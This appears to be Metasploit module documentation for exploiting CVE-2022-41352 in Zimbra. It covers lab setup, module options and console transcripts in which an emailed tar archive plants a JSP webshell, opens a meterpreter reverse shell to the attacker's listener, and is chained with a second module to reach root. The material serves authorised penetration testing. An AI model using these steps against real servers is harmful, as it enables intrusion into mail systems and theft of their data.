## Vulnerable Application

This module exploits a symlink-based path traversal vulnerability in `cpio`
(that's identified as CVE-2015-1197) that's exploitable in Zimbra. The
following versions of Zimbra are vulnerable:

* Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier)
* Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier)

The patch for Zimbra adds `pax` as a pre-requisite, so any version of Zimbra
(except Ubuntu 18.04, which has a patched `cpio` binary) can be made vulnerable
with `rm $(which pax)`.

To verify a host is vulnerable, ensure that `pax` is not installed on the host.
Also, validate that `cpio` is listed in `amavisd.conf` as an option to extract
.tar/.cpio files:

```
[ron@mail tmp]$ sudo cat /opt/zimbra/conf/amavisd.conf | grep cpio
[...]

  [['cpio','tar'], \&do_pax_cpio, ['pax', 'gcpio', 'cpio'] ],
```

Note that this can be chained with other Zimbra exploits to get root.

### Installing Zimbra

Create a VM

```
HDD = 128gb
Memory/etc don't matter
```

I installed a local DNS server (note: replace `<ip>` with the host's actual ip)
(other note: replace `apt` with `yum` to do this on a Red Hat-derived system):

```
sudo apt update && sudo apt install dnsmasq
sudo hostnamectl set-hostname mail.example.org
echo "<ip> mail.example.org" | sudo tee -a /etc/hosts
echo -e 'listen-address=127.0.0.1\nserver=8.8.8.8\ndomain=example.org\nmx-host=example.org, mail.example.org, 5\nmx-host=mail.example.org, mail.example.org, 5' | sudo tee /etc/dnsmasq.conf
```

Configure the host to use it:

```
sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
sudo killall dnsmasq
sudo systemctl restart dnsmasq
echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
```

Download Zimbra from
https://www.zimbra.com/downloads/zimbra-collaboration-open-source/ - you'll
have to sell your soul and opt-in to spam, but they don't validate your email.

```
tar -xvvzf zcs-*.tgz
cd zcs*
sudo ./install.sh

* Lots of <enter>
* DO NOT install `dnscache` module (respond `N` when it ask), I had conflict issues with the local `dnsmasq`
* Yes change the system
* Setup the admin password, probably turn off auto-updates
```


## Verification Steps

1. Do: `use exploit/linux/http/zimbra_cpio_cve_2022_41352`
1. Do: `set RHOSTS <target>`
1. Do: `set LHOST <listenerip>`
1. Do: `exploit`


## Options

### `FILENAME`

The filename to generate - defaults to `payload.tar`, but can be changed on the
filesystem or whatever.

### `TARGET_PATH`

The absolute path where the payload will extract to. The default is the
webroot, which is usually what you want

### `TARGET_FILENAME`

The actual filename. It really should end with `.jsp`, otherwise it won't
execute.

By default, it's a random string with `.jsp` on the end, in the `public/`
folder. That should work fine, especially because we can't overwrite files and
don't want to use the same payload name more than once.

### `SYMLINK_FILENAME`

The path used for the symlink inside the archive; you probably won't ever want
to change this (default: random)

### `TRIGGER_PAYLOAD`

A boolean, default `true`, that determines whether we use HTTP requests to
trigger the .jsp payload. Set to `false` to trigger the payload manually.

### `ListenerTimeout`

The number of seconds to wait for a new session (default = `0`, or infinite).

### `CheckInterval`

The frequency with which to check for the payload on the server. Every
`CheckInterval`, it performs an HTTP request to the payload path.


## Scenarios

To exploit Zimbra, first load the module and generate the .tar file:

```
msf > use exploit/linux/http/zimbra_cpio_cve_2022_41352
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > set LHOST 172.16.166.147
LHOST => 172.16.166.147
msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > set RHOSTS 172.16.166.158
RHOSTS => 172.16.166.158
msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 172.16.166.147:4444
[*] Encoding the payload as a .jsp file
[*] Adding symlink to path to .tar file: /opt/zimbra/jetty_base/webapps/zimbra/
[*] Adding target file to the archive: public/bdhg.jsp
[+] payload.tar stored at /home/ron/.msf4/local/payload.tar
[+] File created! Email the file above to any user on the target Zimbra server

[...] waiting [...]
```

Then, email that file to any user (including a non-existent mailbox) on the
Zimbra server. Once the payload arrives at Zimbra, Zimbra should try to extract
it to check for malware with no user interaction. Metasploit should see the
malicious file extracted and get a session:

```
[...]
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/bdhg.jsp every 5s [backgrounding]...

[file emailed]

[*] Sending stage (3045348 bytes) to 172.16.166.158
[*] Meterpreter session 1 opened (172.16.166.147:4444 -> 172.16.166.158:44808) at 2022-10-06 10:27:34 -0700

msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: zimbra
```

For bonus points, use a different module to get root:

```
msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > use exploit/linux/local/zimbra_slapper_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp

msf exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 1
SESSION => 1

msf exploit(linux/local/zimbra_slapper_priv_esc) > exploit

[*] Started reverse TCP handler on 172.16.166.147:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Executing: sudo -n -l
[+] The target appears to be vulnerable.
[*] Creating exploit directory: /tmp/.vT1bDSvZV
[*] Attempting to trigger payload: sudo /opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.vT1bDSvZV/.RhmWwHRn
[*] Sending stage (3045348 bytes) to 172.16.166.158
[+] Deleted /tmp/.vT1bDSvZV
[*] Meterpreter session 2 opened (172.16.166.147:4444 -> 172.16.166.158:60166) at 2022-10-06 10:45:30 -0700

meterpreter > getuid
Server username: root
```

